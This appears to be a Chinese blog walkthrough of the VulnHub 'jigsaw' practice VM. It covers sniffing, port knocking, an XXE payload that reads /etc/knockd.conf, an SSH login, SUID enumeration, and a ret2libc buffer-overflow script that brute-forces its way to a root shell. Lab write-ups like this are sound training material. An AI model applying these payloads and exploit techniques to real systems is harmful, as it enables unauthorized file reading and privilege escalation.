本周实践的是vulnhub的jigsaw镜像,
这个靶机难度太大,基本都是参考的官方writeup,
下载地址,https://download.vulnhub.com/jigsaw/jigsaw.7z,
用virtualbox导入成功,
做地址扫描,sudo netdiscover -r 192.168.0.0/24,
获取到靶机地址是192.168.0.174,
在kali攻击机上抓包,
sudo tcpdump -A -n host 192.168.0.174 and not arp,
获取到靶机开放了udp 666端口,以及一个猜测是密码的j19s4w,
通过python做nc访问,并输入密码,
python2 -c "print 'j19s4w'" | nc -u 192.168.0.174 666 -q1 | base64 -d,
获取到敲门端口信息,
kali攻击机上安装软件,sudo apt install knockd,
并进行敲门,knock 192.168.0.174 5500 6600 7700,
进行端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.0.174,
获取到靶机有80端口的http服务,
浏览器访问http://192.168.0.174,
把页面上的图片下载到kali攻击机上,查看strings jigsaw.gif,
获取到猜测是路径的w4n770p14y494m3,
浏览器访问http://192.168.0.174/w4n770p14y494m3,
用burpsuite访问,随便输入个用户密码,
把xml内容改成,
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ELEMENT test ANY > <!ENTITY my_email SYSTEM "file:///etc/knockd.conf" >]><root><email>&my_email;</email><password></password></root>
获取到ssh服务的敲门信息[openSSH] sequence = 7011,8011,9011,
继续敲门,knock 192.168.0.174 7011 8011 9011,
重新做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.0.174,
获取到靶机有22端口的ssh服务,
用户名密码jigsaw/j19s4w进行ssh登录,
ssh [email protected],id确认不是root,需要提权,
find / -perm -u=s -type f 2>/dev/null寻找root权限的程序,
获取到/bin/game3,
利用/bin/game3程序的缓冲区溢出漏洞,
制作漏洞利用脚本,vim xpl.py,
from subprocess import call
import struct
base_addr = 0xb7557000
sys_addr = struct.pack("<I", base_addr+0x00040310)
exit_addr = struct.pack("<I", base_addr+0x00033260)
shell_addr = struct.pack("<I", base_addr+0x00162d4c)
buf = "A"*76
buf += sys_addr
buf += exit_addr
buf += shell_addr
i = 0
while(i<512):
print("Trying: %s" % (i))
print(buf)
i += 1
ret = call(["/bin/game3", buf])
执行脚本,python xpl.py,获取到新的shell,id确认是root权限,
原文始发于微信公众号(云计算和网络安全技术实践):vulnhub之jigsaw的实践
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论